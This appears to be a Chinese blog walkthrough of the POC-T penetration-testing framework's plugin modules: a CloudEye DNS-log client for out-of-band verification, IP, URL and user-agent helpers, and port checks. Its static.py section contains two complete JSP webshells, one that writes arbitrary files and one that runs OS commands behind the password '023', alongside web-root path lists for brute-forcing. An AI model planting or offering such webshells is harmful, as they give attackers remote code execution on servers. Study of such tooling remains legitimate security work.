errMsg = "not a valid git repository. Please checkout the 'Xyntax/POC-T' repository "
errMsg += "from GitHub (e.g. 'git clone https://github.com/Xyntax/POC-T.git POC-T')"
logger.error(errMsg)
else:
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
if not success:
if IS_WIN:
infoMsg = "for Windows platform it's recommended "
infoMsg += "to use a GitHub for Windows client for updating "
infoMsg += "purposes (http://windows.github.com/) or just "
infoMsg += "download the latest snapshot from "
infoMsg += "https://github.com/Xyntax/POC-T/archive/master.zip"
else:
infoMsg = "for Linux platform it's required "
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
logger.info(infoMsg)
sys.exit(0)
5、versioncheck.py(python的版本检查)
plugin目录
1、__init__.py(初始化)
2、cloudeye.py(cloudEye API)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
"""
CloudEye API
Usage:
c = CloudEye()
a = c.getRandomDomain('cdxy')
try:
requests.get('http://' + a, timeout=1)
except Exception:
pass
print c.verifyDNS(delay=0)
print c.verifyHTTP(delay=0)
print c.getDnsRecord(delay=0)
print c.getHttpRecord(delay=0)
"""
import random
import requests
import time
from string import ascii_lowercase
from lib.utils.config import ConfigFileParser
# load once for all thread
key = ConfigFileParser().CloudEyeApikey()
uniq_domain = ConfigFileParser().ColudEyePersonaldomain().split('.')[0]
class CloudEye:
def __init__(self):
self.unique = uniq_domain
self.random = ''.join([random.choice(ascii_lowercase) for _ in range(10)])
def getRandomDomain(self, custom='poc'):
"""
full domain = [random].[custom].[unique].dnslog.info
e.g. fezarvgo.poc.ee8a6f.dnslog.info
"""
self.custom = custom
return '%s.%s.%s.dnslog.info' % (self.random, self.custom, self.unique)
def getDnsRecord(self, delay=2):
time.sleep(delay)
query = self.random + '.' + self.custom
api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=query)
return requests.post(api_base).content
def getHttpRecord(self, delay=2):
time.sleep(delay)
query = self.random + '.' + self.custom
api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=query)
return requests.post(api_base).content
def verifyDNS(self, delay=2):
return 'dnslog.info' in self.getDnsRecord(delay)
def verifyHTTP(self, delay=2):
return 'dnslog.info' in self.getHttpRecord(delay)
def queryDnsRecord(domain, delay=2):
time.sleep(delay)
domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.')
api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=domain)
return requests.post(api_base).content
def queryHttpRecord(domain, delay=2):
time.sleep(delay)
domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.')
api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=domain)
return requests.post(api_base).content
3、extracts.py(IP处理)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import re
import requests
def getIP(content, remove_duplicate=True, remove_private=False):
"""
Functions to extract IP from content string
parameters:
content
remove_duplicate (default:true)
remove_private (default:False)
usage:
from lib.util.extracts import *
ip_list = getIP(content)
private address:
10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255
127.0.0.0 - 127.255.255.255
example:
> print getIP('ffeac12.2.2.2asf^&10.10\n.1.1ffa2\n')
['12.2.2.2','10.10.1.1']
"""
def _isPrivateIP(strict_IP):
p1 = re.compile(r'^10\.|^172\.(?:1[6789]|2\d|31)\.|^192\.168\.|^127\.')
return True if re.match(p1, strict_IP) else False
content = content.replace('\n', ',')
p = re.compile(r'(?:(?:2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(?:2[0-4]\d|25[0-5]|[01]?\d\d?)')
_ = re.findall(p, content)
ans = list(set(_)) if remove_duplicate else _
if remove_private:
for each in ans:
if _isPrivateIP(each):
ans.remove(each)
return ans
def getTitle(input):
"""
Get title from html-content/ip/url
:param input:html-content OR ip OR url
:return text in
:except return string:'NULL'
"""
try:
if '' in input:
content = input
else:
url = 'http://' + input if '://' not in input else input
content = requests.get(url,timeout=3).content
return re.findall('([\s\S]*) ', content)[0].strip()
except Exception:
return ''
4、static.py(静态文本:端口、linux|windows的物理路径、upload等)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
class ABSPATH_PREFIXES:
LINUX = (
"/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24",
"/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/vhosts",
"/var/www/virtual", "/var/www/clients/vhosts", "/var/www/clients/virtual")
WINDOWS = (
"/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache",
"/Program Files/Apache Group/Apache",
"/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2",
"/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot",
"/Inetpub/vhosts")
ALL = LINUX + WINDOWS
# Suffixes used in brute force search for web server document root
ABSPATH_SUFFIXES = (
"html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all",
"www/build")
JSP_UPLOAD = """<%@page contentType="text/html; charset=GBK" import="java.io.*;"%>
JSP
<%
String path=request.getParameter("path");
String content=request.getParameter("content");
String url=request.getRequestURI();
String relativeurl=url.substring(url.indexOf('/',1));
String absolutepath=application.getRealPath(relativeurl);
if (path!=null && !path.equals("") && content!=null && !content.equals("")){
try{
File newfile=new File(path);
PrintWriter writer=new PrintWriter(newfile);
writer.println(content);
writer.close();
if (newfile.exists() && newfile.length()>0){
out.println("save success!");
}else{
out.println("save failed!");
}
}catch(Exception e){
e.printStackTrace();
}
}
out.println("");
%>
"""
JSP_RCE = """<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("
");
}
%>"""
NMAP_PORTS_1000 = \
['1', '3', '4', '6', '7', '9', '13', '17', '19', '20', '21', '22', '23', '24', '25', '26', '30', '32', '33',
'37', '42', '43', '49', '53', '70', '79', '80', '81', '82', '83', '84', '85', '88', '89', '90', '99', '100',
'106', '109', '110', '111', '113', '119', '125', '135', '139', '143', '144', '146', '161', '163', '179', '199',
'211', '212', '222', '254', '255', '256', '259', '264', '280', '301', '306', '311', '340', '366', '389', '406',
'407', '416', '417', '425', '427', '443', '444', '445', '458', '464', '465', '481', '497', '500', '512', '513',
'514', '515', '524', '541', '543', '544', '545', '548', '554', '555', '563', '587', '593', '616', '617', '625',
'631', '636', '646', '648', '666', '667', '668', '683', '687', '691', '700', '705', '711', '714', '720', '722',
'726', '749', '765', '777', '783', '787', '800', '801', '808', '843', '873', '880', '888', '898', '900', '901',
'902', '903', '911', '912', '981', '987', '990', '992', '993', '995', '999', '1000', '1001', '1002', '1007',
'1009', '1010', '1011', '1021', '1022', '1023', '1024', '1025', '1026', '1027', '1028', '1029', '1030', '1031',
'1032', '1033', '1034', '1035', '1036', '1037', '1038', '1039', '1040', '1041', '1042', '1043', '1044', '1045',
'1046', '1047', '1048', '1049', '1050', '1051', '1052', '1053', '1054', '1055', '1056', '1057', '1058', '1059',
'1060', '1061', '1062', '1063', '1064', '1065', '1066', '1067', '1068', '1069', '1070', '1071', '1072', '1073',
'1074', '1075', '1076', '1077', '1078', '1079', '1080', '1081', '1082', '1083', '1084', '1085', '1086', '1087',
'1088', '1089', '1090', '1091', '1092', '1093', '1094', '1095', '1096', '1097', '1098', '1099', '1100', '1102',
'1104', '1105', '1106', '1107', '1108', '1110', '1111', '1112', '1113', '1114', '1117', '1119', '1121', '1122',
'1123', '1124', '1126', '1130', '1131', '1132', '1137', '1138', '1141', '1145', '1147', '1148', '1149', '1151',
'1152', '1154', '1163', '1164', '1165', '1166', '1169', '1174', '1175', '1183', '1185', '1186', '1187', '1192',
'1198', '1199', '1201', '1213', '1216', '1217', '1218', '1233', '1234', '1236', '1244', '1247', '1248', '1259',
'1271', '1272', '1277', '1287', '1296', '1300', '1301', '1309', '1310', '1311', '1322', '1328', '1334', '1352',
'1417', '1433', '1434', '1443', '1455', '1461', '1494', '1500', '1501', '1503', '1521', '1524', '1533', '1556',
'1580', '1583', '1594', '1600', '1641', '1658', '1666', '1687', '1688', '1700', '1717', '1718', '1719', '1720',
'1721', '1723', '1755', '1761', '1782', '1783', '1801', '1805', '1812', '1839', '1840', '1862', '1863', '1864',
'1875', '1900', '1914', '1935', '1947', '1971', '1972', '1974', '1984', '1998', '1999', '2000', '2001', '2002',
'2003', '2004', '2005', '2006', '2007', '2008', '2009', '2010', '2013', '2020', '2021', '2022', '2030', '2033',
'2034', '2035', '2038', '2040', '2041', '2042', '2043', '2045', '2046', '2047', '2048', '2049', '2065', '2068',
'2099', '2100', '2103', '2105', '2106', '2107', '2111', '2119', '2121', '2126', '2135', '2144', '2160', '2161',
'2170', '2179', '2190', '2191', '2196', '2200', '2222', '2251', '2260', '2288', '2301', '2323', '2366', '2381',
'2382', '2383', '2393', '2394', '2399', '2401', '2492', '2500', '2522', '2525', '2557', '2601', '2602', '2604',
'2605', '2607', '2608', '2638', '2701', '2702', '2710', '2717', '2718', '2725', '2800', '2809', '2811', '2869',
'2875', '2909', '2910', '2920', '2967', '2968', '2998', '3000', '3001', '3003', '3005', '3006', '3007', '3011',
'3013', '3017', '3030', '3031', '3052', '3071', '3077', '3128', '3168', '3211', '3221', '3260', '3261', '3268',
'3269', '3283', '3300', '3301', '3306', '3322', '3323', '3324', '3325', '3333', '3351', '3367', '3369', '3370',
'3371', '3372', '3389', '3390', '3404', '3476', '3493', '3517', '3527', '3546', '3551', '3580', '3659', '3689',
'3690', '3703', '3737', '3766', '3784', '3800', '3801', '3809', '3814', '3826', '3827', '3828', '3851', '3869',
'3871', '3878', '3880', '3889', '3905', '3914', '3918', '3920', '3945', '3971', '3986', '3995', '3998', '4000',
'4001', '4002', '4003', '4004', '4005', '4006', '4045', '4111', '4125', '4126', '4129', '4224', '4242', '4279',
'4321', '4343', '4443', '4444', '4445', '4446', '4449', '4550', '4567', '4662', '4848', '4899', '4900', '4998',
'5000', '5001', '5002', '5003', '5004', '5009', '5030', '5033', '5050', '5051', '5054', '5060', '5061', '5080',
'5087', '5100', '5101', '5102', '5120', '5190', '5200', '5214', '5221', '5222', '5225', '5226', '5269', '5280',
'5298', '5357', '5405', '5414', '5431', '5432', '5440', '5500', '5510', '5544', '5550', '5555', '5560', '5566',
'5631', '5633', '5666', '5678', '5679', '5718', '5730', '5800', '5801', '5802', '5810', '5811', '5815', '5822',
'5825', '5850', '5859', '5862', '5877', '5900', '5901', '5902', '5903', '5904', '5906', '5907', '5910', '5911',
'5915', '5922', '5925', '5950', '5952', '5959', '5960', '5961', '5962', '5963', '5987', '5988', '5989', '5998',
'5999', '6000', '6001', '6002', '6003', '6004', '6005', '6006', '6007', '6009', '6025', '6059', '6100', '6101',
'6106', '6112', '6123', '6129', '6156', '6346', '6389', '6502', '6510', '6543', '6547', '6565', '6566', '6567',
'6580', '6646', '6666', '6667', '6668', '6669', '6689', '6692', '6699', '6779', '6788', '6789', '6792', '6839',
'6881', '6901', '6969', '7000', '7001', '7002', '7004', '7007', '7019', '7025', '7070', '7100', '7103', '7106',
'7200', '7201', '7402', '7435', '7443', '7496', '7512', '7625', '7627', '7676', '7741', '7777', '7778', '7800',
'7911', '7920', '7921', '7937', '7938', '7999', '8000', '8001', '8002', '8007', '8008', '8009', '8010', '8011',
'8021', '8022', '8031', '8042', '8045', '8080', '8081', '8082', '8083', '8084', '8085', '8086', '8087', '8088',
'8089', '8090', '8093', '8099', '8100', '8180', '8181', '8192', '8193', '8194', '8200', '8222', '8254', '8290',
'8291', '8292', '8300', '8333', '8383', '8400', '8402', '8443', '8500', '8600', '8649', '8651', '8652', '8654',
'8701', '8800', '8873', '8888', '8899', '8994', '9000', '9001', '9002', '9003', '9009', '9010', '9011', '9040',
'9050', '9071', '9080', '9081', '9090', '9091', '9099', '9100', '9101', '9102', '9103', '9110', '9111', '9200',
'9207', '9220', '9290', '9415', '9418', '9485', '9500', '9502', '9503', '9535', '9575', '9593', '9594', '9595',
'9618', '9666', '9876', '9877', '9878', '9898', '9900', '9917', '9929', '9943', '9944', '9968', '9998', '9999',
'10000', '10001', '10002', '10003', '10004', '10009', '10010', '10012', '10024', '10025', '10082', '10180',
'10215', '10243', '10566', '10616', '10617', '10621', '10626', '10628', '10629', '10778', '11110', '11111',
'11967', '12000', '12174', '12265', '12345', '13456', '13722', '13782', '13783', '14000', '14238', '14441',
'14442', '15000', '15002', '15003', '15004', '15660', '15742', '16000', '16001', '16012', '16016', '16018',
'16080', '16113', '16992', '16993', '17877', '17988', '18040', '18101', '18988', '19101', '19283', '19315',
'19350', '19780', '19801', '19842', '20000', '20005', '20031', '20221', '20222', '20828', '21571', '22939',
'23502', '24444', '24800', '25734', '25735', '26214', '27000', '27352', '27353', '27355', '27356', '27715',
'28201', '30000', '30718', '30951', '31038', '31337', '32768', '32769', '32770', '32771', '32772', '32773',
'32774', '32775', '32776', '32777', '32778', '32779', '32780', '32781', '32782', '32783', '32784', '32785',
'33354', '33899', '34571', '34572', '34573', '35500', '38292', '40193', '40911', '41511', '42510', '44176',
'44442', '44443', '44501', '45100', '48080', '49152', '49153', '49154', '49155', '49156', '49157', '49158',
'49159', '49160', '49161', '49163', '49165', '49167', '49175', '49176', '49400', '49999', '50000', '50001',
'50002', '50003', '50006', '50300', '50389', '50500', '50636', '50800', '51103', '51493', '52673', '52822',
'52848', '52869', '54045', '54328', '55055', '55056', '55555', '55600', '56737', '56738', '57294', '57797',
'58080', '60020', '60443', '61532', '61900', '62078', '63331', '64623', '64680', '65000', '65129', '65389']
5、urlparser.py(URL解析)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import urlparse
def get_domain(url):
"""
added by cdxy May 8 Sun,2016
Use:
get_domain('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#')
Return:
'http://cdxy.me:80'
"""
p = urlparse.urlparse(url)
return urlparse.urlunsplit([p.scheme, p.netloc, '', '', ''])
def iterate_path(ori_str):
"""
added by cdxy May 8 Sun,2016
Use:
iterate_path_to_list('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#')
Return:
['http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#',
'http://cdxy.me:80/'
'http://cdxy.me:80/cdsa',
'http://cdxy.me:80/cdsa/cda',
'http://cdxy.me:80/cdsa/cda/aaa.jsp']
"""
parser = urlparse.urlparse(ori_str)
_path_list = parser.path.replace('//', '/').strip('/').split('/')
_ans_list = set()
_ans_list.add(ori_str)
if not _path_list[0]:
return _ans_list
_ans_list.add(get_domain(ori_str))
s = ''
for each in _path_list:
s += '/' + each
_ans_list.add(urlparse.urljoin(ori_str, s))
return _ans_list
if __name__ == '__main__':
url = 'http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#'
print urlparse.urlparse(url)
print get_domain(url)
for each in iterate_path(url):
print each
6、useragent.py(各大浏览器的UA)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
"""
Functions to get user-agent string
edit by cdxy [[email protected]]
May 9 Mon, 2016
usage:
from plugin.useragent import *
str1 = get_random_agent()
str2 = firefox()
str3 = iphone()
str4 = google_bot()
...
tips:
init_UAlist(),get_random_agent()
these 2 methods should be called after [path-init-method] in lib.core.common
"""
import random
from lib.core.data import conf, th, paths, logger
from lib.core.common import getFileItems
def _init_UAlist(path):
infoMsg = "loading HTTP User-Agent header(s) from "
infoMsg += "file '%s'" % path
logger.info(infoMsg)
# TODO 此处 conf.RANDOM_UA 在其他地方暂时没有用到
conf.RANDOM_UA = True
th.UA_LIST = getFileItems(path)
successMsg = "Total: %d" % len(th.UA_LIST)
logger.info(successMsg)
def get_random_agent(path=paths.UA_LIST_PATH):
if "UA_LIST" not in th:
_init_UAlist(path)
try:
return random.sample(th.UA_LIST, 1)[0]
except IOError, e:
warnMsg = "unable to read HTTP User-Agent header "
warnMsg += "file '%s'" % path
logger.warning(warnMsg)
return
def firefox():
return 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0'
def ie():
return 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)'
def chrome():
return 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30'
def opera():
return 'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50'
def iphone():
return 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16'
def google_bot():
return 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'
def msn_bot():
return 'msnbot/1.1 (+http://search.msn.com/msnbot.htm)'
def yahoo_bot():
return 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)'
7、util.py(随机数、URL重定向、URL转IP地址、IP转域名、端口开发检查)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = [email protected]
import random
import hashlib
import requests
import socket
import re
from string import ascii_lowercase, digits
from urlparse import urlparse
def randomString(length=8):
"""
生成随机字母串
:param length:生成字符串长度
:return 字母串
"""
return ''.join([random.choice(ascii_lowercase) for _ in range(length)])
def randomDigits(length=8):
"""
生成随机数字串
:param length:生成字符串长度
:return 数字串
"""
return ''.join([random.choice(digits) for _ in range(length)])
def randomMD5(length=10, hex=True):
"""
生成随机MD5键值对
:param length:指定明文长度
:param hex:指定密文长度为32位
:returns 原文,密文(32位或16位)
"""
plain = randomDigits(length)
m = hashlib.md5()
m.update(plain)
cipher = m.hexdigest() if hex else m.hexdigest()[8:-8]
return [plain, cipher]
def redirectURL(url, timeout=3):
"""
获取跳转后的真实URL
:param url:原始URL
:param timeout:超时时间
:return 跳转后的真实URL
"""
try:
url = url if '://' in url else 'http://' + url
r = requests.get(url, allow_redirects=False, timeout=timeout)
return r.headers.get('location') if r.status_code == 302 else url
except Exception:
return url
def host2IP(url):
"""
URL转IP
:param url:原始URL
:return IP:PORT
:except 返回原始URL
"""
for offset in url:
if offset.isalpha():
break
else:
return url
try:
url = url if '://' in url else 'http://' + url # to get netloc
url = urlparse(url).netloc
ans = [i for i in socket.getaddrinfo(url.split(':')[0], None)[0][4] if i != 0][0]
if ':' in url:
ans += ':' + url.split(':')[1]
return ans
except Exception:
return url
def IP2domain(base, timeout=3):
"""
IP转域名
:param base:原始IP
:param timeout:超时时间
:return 域名 / False
:except 返回False
"""
try:
domains = set()
ip = base.split(':')[0] if ':' in base else base
q = "https://www.bing.com/search?q=ip%3A" + ip
c = requests.get(url=q,
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0'},
timeout=timeout
).content
p = re.compile(r'(.*?)')
l = re.findall(p, c)
for each in l:
domain = each.split('://')[-1].split('/')[0]
domains.add(domain)
if len(domains) > 0:
ans_1 = base + ' -> '
for each in domains:
ans_1 += '|' + each
return ans_1
else:
return False
except Exception:
return False
def checkPortTcp(target, port, timeout=3):
"""
检查端口是否开放
:param target:目标IP
:param port:目标端口
:param timeout:超时时间
:return True / False
:except 返回False
"""
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(timeout)
try:
sk.connect((target, port))
return True
except Exception:
return False
未完,待续!